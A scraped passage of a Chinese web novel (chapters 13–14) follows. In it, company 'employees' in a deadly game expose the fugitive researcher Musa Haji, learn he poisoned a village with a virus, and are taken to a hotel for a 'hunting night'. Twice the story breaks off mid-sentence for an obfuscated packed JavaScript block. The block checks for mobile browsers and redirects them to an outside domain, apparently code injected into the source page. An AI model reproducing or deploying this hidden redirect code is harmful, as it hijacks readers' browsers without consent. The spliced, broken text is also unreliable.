王嘉华:“你的意思是,南顿派人把和穆沙相关的东西全都拿走了?” “是的,那个墓碑也是我等南顿的人走了之后才立的。”快递员:“如果你们真的想要找和穆沙相关的物件,我想你们只能去南顿的物资仓库找了。” …… 旅馆的女更衣室。 丹一边傻笑着,一边朝佘孔渝走来:“没想到凯文竟然把保险箱的密码告诉你了。” 抽身份卡片的时候,包括王嘉华在内,所有人都看到了火炉中,那即将燃烧成灰的黄色信封里的‘内鬼’两个字。 丹语气轻浮:“原来你们早就知道真正的内鬼是我啦?那我还费那么多劲演什么嘛?” 佘孔渝恐惧地看着丹,下意识地伸开双臂,拦在了身后的储物柜前。 “看来我猜的没错,”丹:“你既然知道内鬼是我,那你一定会把快递盒藏在我去不了的地方,女澡堂的确是个不错的选择。” 佘孔渝:“这里是女澡堂,你不能进来!” “不好意思,”丹:“今天这个澡堂在维修,不会有客人来的。” 在佘孔渝来之前,丹就“不小心”把澡堂门口的维修告示踢倒了。 现在的女更衣室中,只有佘孔渝和丹两个人。 佘孔渝紧张地看着丹:“你想干什么?” 丹没有说话,依旧傻笑着,从口袋中掏出了一把小刀,朝着佘孔渝的方向走了过来。 看着拿着小刀的丹,佘孔渝吓傻了,四肢开始发抖。丹的笑容越来越诡异,他又一次露出那排缺了一颗上门牙的牙齿。 “你要杀人吗?丹!”匆忙赶过来的凯文站在女更衣室的门口,突然对着丹大吼到。 可丹没有理会凯文,继续拿着刀朝佘孔渝走去。 “你别过来……”佘孔渝无路可退,只能将身体贴紧身后的储物柜。 此时,丹已经走到了佘孔渝的面前。 凯文立刻拿出了手机,打开了录制模式对着丹:“我已经录制视频了,如果你在这里行凶,我一定会把视频发给杰西卡!” “果然是很漂亮呀!”丹扶了扶眼镜,盯着佘孔渝锁骨上窝的那道伤疤:“这是我见过最好看的伤疤了。” 佘孔渝紧闭双眼,不敢说话。 “不要怕他!”凯文远远地站在门口:“他不敢伤害你,不要让他拿到快递盒!” 佘孔渝再也无法忍受,她趴在了地上,从丹的脚边爬了出来,将储物柜让给了丹。 凯文对着佘孔渝怒斥:“你为什么让开了!” “我……我不敢!”佘孔渝爬到了凯文身边,站了起来,委屈地说:“他原本就是个疯子,我不知道他会对我做什么……再说你不也一直站在门口不敢上前吗?” 凯文一时不知该如何反驳。 丹站在储物柜面前,打开了柜子的门,将快递盒拿在了手中。 凯文依旧举着手机,摄像头对着丹:“丹,我警告你!擅自拆开别人的快递盒是违法的!” 丹仍然傻笑着,将小刀拆开了快递盒的封装。看到小刀插进快递盒的一瞬间,两人都惊呆了。 佘孔渝:“天哪!” 凯文:“你这家伙完蛋了!你马上就会被杰西卡开除!” 佘孔渝:“我说了他就是个疯子!” “让我看看里面到底是什么呢?”疯癫的丹拿出了盒子中的那个货件——一个黑色的珠宝盒子。 …… 驿站中。 王嘉华和那苏百两人一起在货柜前翻找着积压的签收单。 那苏百:“实在找不到就只能回南顿的总部看看了。” 王嘉华:“南顿的总部……我们好像是临时员工吧,有资格进去吗?” 那苏百:“回去问问吧,但绝对不能问杰西卡。” 两人一边翻找着,一边说着悄悄话。 找了很久,没有任何收获。而快递员也一直站在旁边,捧着水杯,看着窗外的天空。 那苏百:“还是走吧。” 王嘉华也放下了最后一沓签收单:“看来这里的确找不到了。” 两人回到驿站门口。 快递员:“没有找到吗?” 王嘉华摇了摇头。 快递员:“你们找了很久呢。” 那苏百:“那我们就先走了,时间应该也不早了。” 王嘉华看着一直站在窗边的快递员,有些奇怪。 “对了,”快递员还在望着窗外:“现在是什么时候了?” “现在好像……”那苏百看了看手机:“糟了,已经5……” “等一下!”突然,王嘉华右手一横,拦住了那苏百的嘴巴。 那苏百疑惑地看着王嘉华。快递员没有动。 王嘉华:“这已经是他第三次问这个问题了。他知道南顿制药所,也知道穆沙·哈吉……” 那苏百:“你到底想说什么?” “现在是……”王嘉华看着快递员,眉头紧锁,慢慢走了上去,轻声地说:“……是物归原主的时候了?” 快递员终于放下了手中的水杯:“你们根本不是穆沙的朋友。” 14. 第十三章 第十三章·物归原主3 王嘉华:“是物归原主的时候了。” 那苏百惊讶地看着王嘉华,想起了快递盒上,杰西卡留下的那一行备注——是物归原主的时候了。 “终于说出这句话了,”听到这句话,快递员终于松了口气,放下了手中的水杯,转头看向两人:“你们根本不是穆沙的朋友。” 王嘉华紧张地看着快递员:“我们是……南顿制药所的员工。” 快递员:“穆沙·哈吉其实并没有死。” 两人睁大眼睛看着快递员。 …… 披头散发,满脸胡渣,穿着白色衣服的男人跑到了一个山洞前,悠闲地朝着山洞走去,却又突然惊恐地愣在了原地——陈双赢慢悠悠地从山洞中走了出来。 男人惊恐地看着陈双赢,吓得往后退了几部:“你怎么会在这里?” 陈双赢轻轻地笑着说:“你的迷宫阵设计得还蛮不错的,可惜我一眼就看穿了。” 树林中的迷宫是男人故意设计的,目的就是为了防止村民找到这个山洞。 “你是穆沙·哈吉吗?”陈双赢:“特意给自己修了个坟墓,然后一直住在这个山洞里当野人——你到底在躲避什么?” 男人没有理会,转身想要逃走,却被陈双赢一把抓住后颈,用麻绳束缚在了地上。 然而,当陈双赢终于拨开男人的散发,终于看清他的脸时,陈双赢突然露出了震惊的表情:“是你!这……这到底是怎么回事?” …… “既然你们能说出暗号,那说明你们是杰西卡派来的。”快递员:“那我就没有什么好隐瞒的了。” 王嘉华:“真相到底是什么?穆沙·哈吉到底在哪里?” “一夜之间,所有村民都感染了同一种病毒。”快递员笑着说:“你们觉得这种事除了人为的,还有别的可能吗?” 那苏百:“难道这全是……一个人干的?” 王嘉华:“那会是谁干的?” 快递员:“当然就是穆沙·哈吉本人!” 两人震惊地看着快递员。 “穆沙是个疯狂的研究者,他为了验证自己研制的药物效果,把整个廖厝村的村民当成了实验对象。”尽管已经极力压制,但王嘉华仍能听出快递员语气中浓烈的恨意。 王嘉华:“所以村民们变成现在这个样子,真的全都是穆沙一个人干的?” “也不全是,”快递员低下了头:“还有另一个人。” 王嘉华:“是谁?” 快递员:“就是我。” 那苏百:“你?” “2年前,我接受了穆沙的贿赂,帮助穆沙把黑山羊病毒的原液参入到大家的饭菜里。”快递员用手捂着自己的额头,瘫坐在椅子上:“我从小在这里长大,村民们都相信我,至今也没有任何人怀疑过我。” 快递员回忆起2年前的事,表情变得痛苦:“我当时并不知道这是黑山羊病毒,我以为只是普通的医学实验。但是看到后来大家陆续出现山羊的眼睛,还有一系列心绞痛、畏光的反应,我才意识到自己犯下了大错……” 那苏百:“你刚刚说,穆沙没有死?” “廖厝村,是千指门老大的故乡,长期受千指门的保护。”快递员:“而我也是千指门的人。” 王嘉华:“你也是千指门的!” 快递员:“1年前,千指门查到毒害廖厝村的人是穆沙,派了很多人追捕穆沙。他们没有查到我,但我知道,我和穆沙来往的证据还没被抹除,一旦穆沙被抓住,我也一定会被查出来。所以我帮助他逃去了南半球,还在他原来住的地方立了一个墓碑。” 那苏百:“所以你立这个墓碑,专门是为了给千指门的杀手看的。” 快递员:“千指门在整个东南亚找了很久也找不到穆沙,猜测穆沙已经死了。不久后他们又发现了穆沙的墓碑,坐实了这个猜测,于是便解除了对穆沙的追杀令。” 那苏百:“这样你就算安全了。” 王嘉华:“可我想,你应该很不甘心吧。” 王嘉华能感受到快递员内心强烈的不甘。 “如果不是为了自保,我一定不会放过穆沙。廖厝村的村民都是无辜的,他们一辈子都要忍受害怕光线的痛苦,一辈子躲在这个深山中……”快递员:“南顿制药所的物资部部长杰西卡,她看破了我心思。” 那苏百:“杰西卡来找过你?” 快递员:“我刚刚说过,11个月前,穆沙假死之后,南顿为了保护药物的机密,派人来廖厝村收走了和穆沙相关的物件,那个人就是杰西卡。” 王嘉华:“南顿的所长不想让穆沙被抓住,他担心穆沙会泄露药物的机密,所以他也会想办法帮助穆沙的躲避追杀。” “没错。”快递员:“杰西卡在临走前,告诉了我一件事——穆沙将来一定会回到新加坡。” 王嘉华:“杰西卡……难道她是站在你这边的?” 快递员:“杰西卡也看不惯穆沙的所作所为,她想要帮助我,干掉穆沙。” 那苏百:“可南顿是要保护穆沙,难道杰西卡要违背南顿的意思?” “全局监控系统,这是南顿对所有高层的监管方式,受到监控的人,任何言行都会被所长知道。”快递员:“而柔佛山因为信号贫弱,成了杰西卡唯一可以自由说话的地方。” 王嘉华:“那她对你说了什么?” 快递员:“她要求我,在穆沙回来之前,把所有我和穆沙往来的证据全部抹除。当穆沙回到新加坡时,她会立刻通知我,并让我重新向千指门申请对穆沙的追杀令。” 快递员隐忍了一年,一直在等待杰西卡的通知。在这一年中,快递员抹除了所有和穆沙相关的交易、聊天的记录,彻底撇清了自己和穆沙的关系。 那苏百:“可杰西卡的任何言行都被所长监视着,她用什么方式在一年后通知你?” “你们就是她的通知,”快递员指着两人:“2024年11月3日,一年前的今天,杰西卡给穆沙寄送了一个快递,并备注了一行字。之后不久,杰西卡来清理穆沙的物件时偷偷告诉我,那一行字就是我们之间的暗号。” “是物归原主的时候了。” 快递员:“你们能说出这句话,就代表你们是杰西卡信任的人。我需要你们的帮助,所以我把一切真相都告诉了你们。” 快递员终于等到了这一天。他曾对自己承诺,一定要让穆沙得到应有的报应。 “一切都明白了!”王嘉华恍然大悟:“所以现在穆沙已经回到了新加坡,而且即便他被千指门抓住,你也不会受到牵连。” 快递员:“没错。现在在千指门的眼中,我和穆沙根本就是陌生人,即便穆沙把我供出来,也只是毫无证据的胡言乱语。” 只要穆沙在新加坡境内,一旦发出追杀令,以千指门的实力,穆沙绝对逃不掉。对快递员来说,想要让千指门抓住穆沙又不牵连自己,现在就是最好的时机。 王嘉华:“那现在还有最后一个问题。” 快递员:“什么问题?” 王嘉华:“在千指门眼中,穆沙不是早就已经死了吗?” 快递员:“是。” 王嘉华:“那你如何让千指门对一个死人发出追杀令?” “对啊,”那苏百:“在千指门的眼中,你根本不认识穆沙,你想要证明穆沙还活着,那就必须告诉他们你知道穆沙是假死的事情,这样不还是暴露了你和穆沙的关系?” 快递员:“这就是我要你们帮我做的事。” 王嘉华:“我们帮你做的事?” 快递员:“为了证明穆沙还活着,我准备好了一个完美的证据,而且这个证据我早在一年前就已经准备好了。” “一年前就准备好了?”王嘉华和那苏百同时疑惑地问。 快递员:“这个证据能直接证明,穆沙直到今天都还活着。只要你们能帮我拿到这个证据,并把它交给千指门,千指门就一定会再次对穆沙发出追杀令!” …… 佘孔渝和凯文都紧张地看着丹手中的那个黑色珠宝盒。 面对着站在更衣室门口的两个人,丹将拆开的快递盒扔向一旁,慢慢将珠宝盒打开,从珠宝盒中拿出了一串项链。 …… 陈双赢揪着白衣男人的衣领:“快告诉我,这到底是怎么回事?” 白衣男人终于露出了真容——他的样貌,和丹·杰斯特完全一样。陈双赢看得出来,面前的这个人并没有戴人皮面具,是他真实的容貌。 “你绝对不是丹,”陈双赢:“可为什么你会和丹长得一摸一样?” “呵,”白衣男冷笑了一声:“不是我长得和他一样,是他变成了我的样子。” …… 快递员:“那个证据被杰西卡收走后,被放在了南顿的物资仓库里。你们是南顿的员工,而且不受全局监控系统的监视,所以只有你们有机会能进入仓库拿走那个证据。” 王嘉华:“那个证据是什么样的?” 快递员:“找到穆沙·哈吉的名字,关于他的物件全部都放在了一个箱子里。箱子里面有一个黑色的珠宝盒。” 王嘉华:“珠宝盒?” 快递员:“里面有一个项链,那个项链上挂着的是……” …… 丹将项链提了起来。 佘孔渝和凯文清楚地看到,那串项链的底端,挂着的是一颗泛黄的门牙。 丹傻笑地看着两人,再次露出了他那排缺了上门牙的牙齿。 …… 陈双赢:“变成了你的样子?你的意思是……他整容了?” 白衣男:“他根本没有去南半球,他一直待在新加坡。只不过他拿走了我的名字,也拿走了我的容貌,所以才没有被任何人发现。而现在的我,就是一个无名的野人。” …… “你……你就是穆沙·哈吉!”佘孔渝和凯文惊恐地看着眼前的这个疯子——穆沙·哈吉。 “你要把视频发给杰西卡吗,凯文?没用的啦!”穆沙傻笑着,将那串项链戴在了自己的脖子上:“因为我只是在拆我自己的快递,并没有干任何违法的事情呀。” 穆沙所做的,只不过是取走自己的快递,并拿出小刀划开了快递盒的封装。 佘孔渝:“难道杰西卡也早就知道这件事吗?” 凯文:“是物归原主的时候了……原来指的是这个意思!” 11个月前,杰西卡来廖厝村收走了穆沙所有的物件,包括这颗门牙。穆沙为了躲避追杀,将自己的容貌整改为丹·汉克斯的样子,并以丹·汉克斯的身份在新加坡生活了11个月;为了配合穆沙,丹从此失去了姓名,化身成一个野人在柔佛山中生活。 三天前,穆沙为了还债,参加了南顿举办的竞标比赛,并签署了《翻倍协议》。杰西卡通过声音和缺掉的牙齿认出了穆沙,于是专门安排了这次任务,将这颗门牙送还给了穆沙。 “哎呀,”穆沙装模作样地查看着脖子上的项链:“感觉这个项链有点磨损呀。” 佘孔渝:“那我们的任务是……要他在签收单上签字?” 杰西卡今天派发的任务,就是要内鬼自己同意才能完成。 “你们的运送服务有问题啊,”穆沙笑嘻嘻地说:“这我要怎么签收呢?” 佘孔渝:“内鬼怎么可能会同意签字?” 凯文吞了口口水:“有可能。” 佘孔渝:“啊?” 穆沙看着两人,慢悠悠地从一旁的快递盒上撕下了那张签收单,拿在左手中,伸出右手比了一个数字‘8’,戏弄地语气说:“8万元新币,你们每人给我4万,我就签字。” “8万块!”佘孔渝和凯文绝望地看着穆沙手上的数字。 穆沙:“没错!立刻!每人4万!” …… 廖厝村。王嘉华和那苏百正在飞速往山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780707|157958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下赶去。 …… 被陈双赢踩在脚下,白衣男突然癫狂地笑出声:“已经晚了!” 陈双赢看了看手机,5点30分,依旧没有信号。 “你以为我真的是被你抓到的吗?”白衣男:“我故意引你来这里,就是为了不让你回旅馆告诉他们实情。这全是穆沙安排好的!” 通过谎言分析,陈双赢看出来白衣男并没有撒谎。但是,掌握着穆沙真正计划的陈双赢却没有办法把实情传递给其他人。 白衣男:“他们找不到他,今夜的猎杀环节就一定会出现!” 此时,天已经黑了一半。 “啧,必须赶紧下山了。”陈双赢看着天空,皱紧了眉头。 …… 旅馆,女更衣室。 佘孔渝绝望地跪在了地上。 “你这个畜生!竟然骗我!”凯文怒吼着,挥起拳头朝穆沙冲了过去。 “哎呀你要打人啊!”穆沙吓得赶紧蹲了下来:“小心我去找杰西卡举报你!” 听到这句话,凯文又突然停了下来,咬着牙,凶狠地看着穆沙:“我一定会杀了你。” 穆沙的手机上传来银行的消息,刚刚收到了2次4万元的转账,分别来自凯文和佘孔渝。 看到凯文停下了动作,穆沙慢慢站起来,又发出了欠揍的声音:“嘿嘿!其实你们可以试试再给我打8万块,说不定我就会签字了呀!” 凯文指着穆沙的鼻子:“你再说一句试试?” 佘孔渝也抬起头,发出微弱的声音:“说不定我们再汇5万块给他……” 凯文转过身,指着佘孔渝:“你也再说一句试试?” “不要再给他打钱了!”这时,王嘉华和那苏百终于赶到了。 王嘉华:“没用的,他绝对不会签字的。” 穆沙:“你们终于回来了?双赢小妹妹呢?” 王嘉华拦在了佘孔渝和凯文前,侧着头悄悄对他们说了一句话:“别担心,我们还有最后的机会。”继而转过头,对着面前穆沙大声说:“穆沙·哈吉,这是你的真名对吗?” 穆沙乖乖地点了点头。 王嘉华:“看来今晚的猎杀环节是躲不掉了。” 穆沙:“是呀,我还蛮想看看这个猎杀游戏到底是怎么玩的。” 王嘉华:“你真的是很喜欢玩弄别人的生命。” 穆沙:“内鬼的身份不是我自己选的,我也没办法。” “不用装了,你的事情我都知道了,”王嘉华:“廖厝村那些无辜的村民,都是被你害的。” 穆沙没有说话,表情慢慢变得严肃。 王嘉华:“你究竟是为了什么?” 穆沙:“这么严肃干嘛啦。” 王嘉华:“我只是想确认一下。” 穆沙:“为了研制出对抗黑山羊病毒的解药,那可是我一生的心血。” 王嘉华:“也就是说,‘方程式’的研发,里面还有你的功劳?” “当然,”穆沙:“我的研究成果给全世界的黑山羊症患者带来福音。” 王嘉华:“可我听说,南顿最后好像并没有采用你的配方。” 穆沙眯着眼看着王嘉华。 “因为你研制出来的药有很强的副作用,会导致患者出现永久畏光的症状,所以南顿最后放弃了你的制药方案。”王嘉华:“这么看来,你的研究也没有什么作用。” “呵,你什么都不懂。”穆沙打断了王嘉华的嘲讽:“我的研制成果最终没被采用是因为南顿经费不够用,项目被迫停止了。” “项目经费不够难道不是因为钱都被你拿去逃命了吗?”王嘉华:“即便卷走了那么多钱,你还是没还清欠下的债,要不然你也不会再回来和南顿签署《翻倍协议》了,我说的对吧。” 穆沙没有说话。 “看来是说到你的痛处了。”王嘉华:“你靠一己之力毁掉了整个项目,最后还要所长来给你擦屁股,穆沙,你做的事情从头至尾都没有起到任何作用。” 穆沙笑了笑:“你说的没错嘉华哥,我是不会在签收单上签字的,给我再多钱也不会。” 所有人面面相觑。 “既然你拒绝签收,”王嘉华:“那按照规矩,麻烦把货件还给我吧,我们得把货物送回给寄件人。” “没问题啊,”穆沙把项链取了下来,放回到了黑色珠宝盒中,递给了王嘉华。但是,就在王嘉华伸手拿住珠宝盒的一瞬间,穆沙本来松开的手指突然又捏紧了。 此时,两人面对面站着,手上同时捏着那个黑色珠宝盒。 “怎么感觉有点不对?”穆沙用最快的速度仔细打量着王嘉华,发现他似乎有些紧张。 没有人说话,所有人都不由自主地捏紧着拳头。突然,王嘉华口袋中的手机响了起来。 被铃声吓到的穆沙迟疑了片刻,王嘉华抓住机会,一把将珠宝盒抢了过来! “接住!”王嘉华没有犹豫,立刻转身,将珠宝盒扔给了身后的那苏百。 那苏百接住了珠宝盒,紧紧地握了在手中。 “怎么回事?”穆沙慌张地看着那苏百,凯文和佘孔渝也跟着看去。 那苏百笑了笑,打开了珠宝盒,然后翻开了牙齿项链下的软垫,并抠出了一张白纸。那苏百将白纸翻开,展示在了众人面前——一张快递签收单。 穆沙弯着腰,仔细地看着那苏百手中的白纸:“那是什么啊?” 所有人都看到,那张签收单上: 寄件人是杰西卡; 收件人是穆沙·哈吉; 收件地址是廖厝村; 签收处,“穆沙·哈吉”的名字已经签了上去; 日期是2025年11月3日,也就是今日; 而备注上写的是“是物归原主的时候了。”这句话。 那苏百手中的这张签收单,和穆沙手中的那张签收单完全一致,除了签收处已经签上了穆沙的名字。 15. 第十四章 第十四章·野兽面具1 “这到底是怎么回事?”穆沙惊慌地看着王嘉华,又看了看自己手中的签收单:“我根本没有签字啊?为什么会有两张一样的签收单?” 王嘉华指着那苏百手中的签收单说:“因为这并不是你今天签的,而是你一年前签的。” 穆沙:“啊?” …… 1个小时前。廖厝村驿站中。 快递员:“在那个黑色珠宝盒的软垫下,夹着一张签收单,那是2024年11月3日,也就是正好一年前,杰西卡寄给穆沙的快递。” 王嘉华:“那就是杰西卡说的,写了暗语的那个快递单。” “没错,”快递员:“但她在打印签收单的时候,故意把2024年写成了2025年。当我把这个快件送到穆沙手中时,他没有看日期,直接签收了。” “我明白了。”王嘉华突然醒悟:“这就是你说的,可以直接证明穆沙还活着的证据。” …… “啊?正常人谁签收快递会看日期啊?”穆沙身体突然软了下来,往后退了几步,靠在了身后的储物柜上:“居然在这里被算计了!那个该死的快递员!” “是物归原主的时候了。”——杰西卡说的没错,她要的只是一张签了字的签收单而已,所以想要完成今天的任务,其实只需要把快递盒原封不动地还给杰西卡就行了。 “这才是‘物归原主’真正的意思。”王嘉华自信地笑着:“很遗憾,穆沙,今天的猎杀环节又没有了。” 穆沙:“是我输了……” 佘孔渝和凯文都松了一口气。 手机的铃声还在响。嘲笑完穆沙,王嘉华立刻接通了:“双赢!你刚刚打过来的电话帮了我大忙!” 陈双赢:“啊,是吗?我刚下山,你们那现在怎么样了?” 王嘉华:“我们已经拿到签收单了,是穆沙亲笔签名的,可以回去交任务了。” 陈双赢:“签收单现在在谁手上?” 王嘉华:“在那苏百的手上。” 陈双赢沉默了一会。 王嘉华:“怎么了?” 陈双赢:“没什么……你们先回船上吧。” 王嘉华:“你不来吗?我们一起坐车回去啊。” 陈双赢:“不用等我了,我等会还有别的地方要去。” 王嘉华:“那好吧。” 危机解除,所有人都松了一口气。 …… 晚上7点。大巴窑区,天桥下。 “大师,我问你一个问题。”王嘉华垂头丧气地蹲坐在大师的身边。 “你问吧。”无名大师盘腿坐着,摆弄着手中的硬币。 王嘉华:“0乘以2等于多少?” 大师:“还是0。” “原来是这样……”王嘉华看着手中的银行卡:“难怪我的余额还是0,明明马上就要过完第三天了。” 王嘉华越来越觉得,卡尔德曼已经不记得他这个人了。 “大家都越来越有钱了,凯文和佘孔渝随便一出手就能凑出8万……”想到这里,王嘉华的心里就更加难受。 大师:“比起钱,我觉得你还是更应该关心一下你的命。” 王嘉华:“那个诅咒还没解除吗?” 大师:“一个星期以内,不要进入任何酒店。过了这个星期,诅咒自然就会解除。” 寻找乞丐和玩具、竞拍名贵油画、给死人送快递……三天下来,王嘉华明显感觉到,任务的难度越来越高了。 王嘉华:“不去酒店,就必须完成每天的任务……也不知道后面的任务会难成什么样子……” 王嘉华低头沉默着,回想着今天发生的事情。 “所以搞了半天,快递员还是被杰西卡骗了。” “杰西卡根本没有背叛南顿,一年前她对快递员说什么暗号,目的也不是真的想制裁穆沙,只是为了稳定快递员的情绪,以免他把穆沙还活着的事情抖露出来。” “毕竟如果杰西卡真的想制裁穆沙,就不会拿这么重要的事情当做比赛的任务。” 陈双赢之后告诉了王嘉华她遇到无名人的事情。 “快递员没有想到,穆沙为了躲避追杀,连名字和样貌都改变了。这样一来,别说千指门了,连警察都不可能找到这个人。” “穆沙竟然还敢来签署《翻倍协议》,重新入职南顿,看来这家伙这一年里又欠了不少钱。不过这次他是以丹·汉克斯的身份出现的,他可能以为杰西卡会认不出来吧。” “感觉今天我的表现应该还不错,希望卡尔德曼明天会看工作汇报吧。”王嘉华不小心将心里的话念叨了出来。 大师转头看了看王嘉华的眼睛,又转了回去:“啧,你又使用了散华。” “没有办法啊,”王嘉华叹了口气:“不用就真的死了。” 大师:“年轻人哪有那么容易死。” …… 医院,艾雅琳的病房。 陈双赢摇摆着手中的玻璃瓶,黑色的液体跟着晃动着,看起来比昨天更多。 艾雅琳:“也就是说,你可以看破别人的谎言?” 陈双赢:“是啊。” “好厉害!”艾雅琳:“那你是不是每次抽完身份卡片,就能看出谁是内鬼?” 陈双赢:“我扫一眼就能知道。” 陈双赢把《翻倍协议》的事情告诉了艾雅琳。 艾雅琳:“那既然这样,为什么你不直接说出来呢?” 陈双赢:“我为什么要说出来?” 艾雅琳:“你说出来,大家就能知道内鬼是谁了呀,这样你们做任务,就可以把那个内鬼排除在外了。” “可如果有一天我是内鬼呢?”陈双赢:“如果我说出来,大家就会知道我有测谎的能力,这样一来,每次抽完身份,大家都会问我内鬼是谁。如果有一天我是内鬼怎么办?” 艾雅琳想了想:“那你就随便诬陷另一个人,说他是内鬼。” 陈双赢摇了摇头:“那大家就会知道,内鬼一定出在我们两个人之间,那么大家就会把我们两个都排除在外,这样的话我就很难赢了。” “有道理啊!”艾雅琳瞪大眼睛:“所以你不能随便暴露自己的能力。” 陈双赢总会有意识地隐藏自己的能力,可由于她过于强大,即便刻意隐藏,有时也很难瞒过他人。这也是陈双赢一直苦恼的地方。 艾雅琳:“可以再跟我说说关于《翻倍协议》的事情吗?” 陈双赢:“你还想知道什么?” 艾雅琳:“比如,你对其他员工的看法?那个肌肉发达的律师是个什么样的人?” 陈双赢:“那苏百·努旺比,他是个脾气暴躁的傻子,喜欢自作主张,外强中干,应该活不了多久了。” 艾雅琳:“那小偷呢?” 陈双赢:“凯文,盗贼兄弟之一,他是个心思缜密的人,利己主义,懂得迎合别人,虽然不太聪明,但我并不讨厌他。” 艾雅琳:“那个疯子呢?” 陈双赢:“穆沙·哈吉,他的疯癫不是演的,极度感性,没有明确的目标,靠着直觉和运气活着,可以不用把他当人类看待。” 艾雅琳:“女歌手呢?” 陈双赢:“佘孔渝,故作矜持和柔弱,其实内心的癫狂程度不必穆沙低,换作一般人很难看出她真实的野心。” “那还有……那个胆小鬼呢?”艾雅琳把最关心的问题留到了最后。 陈双赢:“王嘉华,他是个矛盾的人,即胆怯,又喜欢找存在感,即弱小,又会在关键的时候突然获得力量。他或许能因为胆小活很久,但一定活不到最后。” 艾雅琳:“你觉得他活不到最后吗?” 陈双赢看着艾雅琳:“你这么关心他,难道你认识这个人吗?” “没有啊,”艾雅琳微笑着说:“我只是随便问问。” 陈双赢并不知道王嘉华和艾雅琳的关系。通过谎言分析,陈双赢再一次做出了艾雅琳没有撒谎的判断。 “好了,时间到了,我要回游轮上去了。”陈双赢站起身,把玻璃管放回了艾雅琳的手中。 “对了,双赢姐,”艾雅琳又问道:“你说你是公司派来采集病毒原液的。” 陈双赢:“对呀。” 艾雅琳:“可你又说,南顿已经研发完成了针对黑山羊病毒的特效药。” 陈双赢:“是啊,这次的《翻倍协议》计划就是南顿为了进入市场而举办的竞标比赛。” 艾雅琳:“既然特效药已经被研发出来了,那你的公司为什么还要采集病毒原液呢?” 陈双赢:“这是商业机密,我不能告诉你。” 艾雅琳:“可我想知道诶……” 看着艾雅琳的眼睛,陈双赢总是会想起她过世的妹妹。 艾雅琳:“我保证不会说出去!” 陈双赢:“这个问题,等我明天回来再说吧。”为了让艾雅琳配合抽血的任务,陈双赢必须在各个方面哄着她。 陈双赢做了一个拜拜的手势,朝门口走去。 艾雅琳:“好,你明天一定要来!” “嗯,如果明天我还活着的话。”陈双赢打开了病房的门。 “什么意思?”艾雅琳疑惑地看着站在门口的陈双赢:“难道你有可能会死吗?” “他们找不到第二个内鬼,今夜的猎杀环节就一定会出现!”陈双赢脑中回现着今天那个白衣男说的话。 陈双赢点了点头:“虽然可能性很小,但也不能完全保证。” 艾雅琳有些担忧:“可今天的任务不是已经完成了吗?今天应该不会出现猎杀环节吧……” “你在说什么呢,傻孩子,”陈双赢平淡地笑了一声:“猎杀之夜马上就要开始了。” …… 晚上临近9点。平等号游轮,客房区。 走廊,那苏百的房间门口,佘孔渝和凯文正在焦急地敲着门。 察觉到异样的王嘉华也走了过来,神色凝重地说:“到底是怎么回事啊?” 佘孔渝害怕地看着王嘉华:“那苏百一直不开门,我怀疑他不在房间里了……” “王嘉华,”凯文突然转头看向王嘉华:“那个签收单你确定最后是交到那苏百手里了吗?” “是……是啊……”王嘉华慌张地回答:“最后是那苏百拿走了签收单。他不是跟我们一起坐车回来的吗?” 凯文:“我看见他上游轮了,可他还没有把签收单交给杰西卡!” 佘孔渝:“这到底是为什么啊?” 马上就要到9点了。 “我去问问杰西卡!”王嘉华立刻调头朝着会议室飞奔而去,然而就在开门的一瞬间,王嘉华看到原本电子屏幕的位置却出现了一对双开的大铁门。 与此同时,一直站在走廊的白色西装男走到了王嘉华的身后,将一根针管扎进了王嘉华的脖颈。 还没来得及反应,王嘉华双眼一黑,晕倒在了会议室中。 在王嘉华晕倒前,他似乎听到了船笛的声音。 平等号启航了,离开了新加坡的港口,朝着黑色的大海直行。 …… 不知过了多久,王嘉华在一片黑暗中醒来。大理石冰冷的地板,幽邃的长廊上空无一物,两排客房的木门紧闭,只有头顶的白炽灯发出微弱的亮光。 王嘉华睁开惺忪的眼皮,慢慢撑起身体,试图理解这个空间,却突然被强烈的回忆冲醒,王嘉华突然记起来,自从上船后,所有人就再也没看到那苏百了。 “这到底是哪里?”王嘉华慢慢缩小的瞳孔和全身不自主的冷汗回答了他的问题:这是一个他从来没来过的地方——南洋大酒店。 在入职的第三天,员工们终于迎来的第一个猎杀之夜。 “为什么……”王嘉华除了抱着自己恍惚的脑袋,什么事情都不敢做。 “明明已经把签收单交给那苏百了,明明已经完成任务了,为什么还是进入了猎杀环节?难道那苏百没有把签收单交给杰西卡?” 王嘉华实在不愿意面对现实,他本想坐回地上,放弃一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780708|157958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切抵抗静静等死,但眼前走廊不远处的绿色光亮吸引了他的注意。 王嘉华贴着墙壁,朝着绿光慢慢走去,很快便来到了走廊的尽头——一个白色的铁门挡在了王嘉华面前,而白门上方那个绿色的灯光,是‘紧急出口’的标志。 王嘉华习惯地掰了下门把手,发现门已经被锁住。白门旁边的墙壁上安装了一个读卡器,似乎要用门禁卡才能把门打开。 “各位员工,现在是晚上11点,由于你们的任务失败了,现在进入猎杀环节。”不知哪里传来的广播语音,王嘉华认出,这个声音是杰西卡的。 杰西卡的广播:“今天的内鬼是丹·汉克斯,他将扮演鬼人对其他员工进行猎杀;其他员工要根据提示破解谜题,猎杀才会结束。” 杰西卡的声音慵懒且敷衍,就像机长对乘客的广播语音。 杰西卡的广播:“今天的谜题如下:酒店中一共有两个紧急出口的逃生门,只要打开其中任何一个门,就能结束猎杀。” 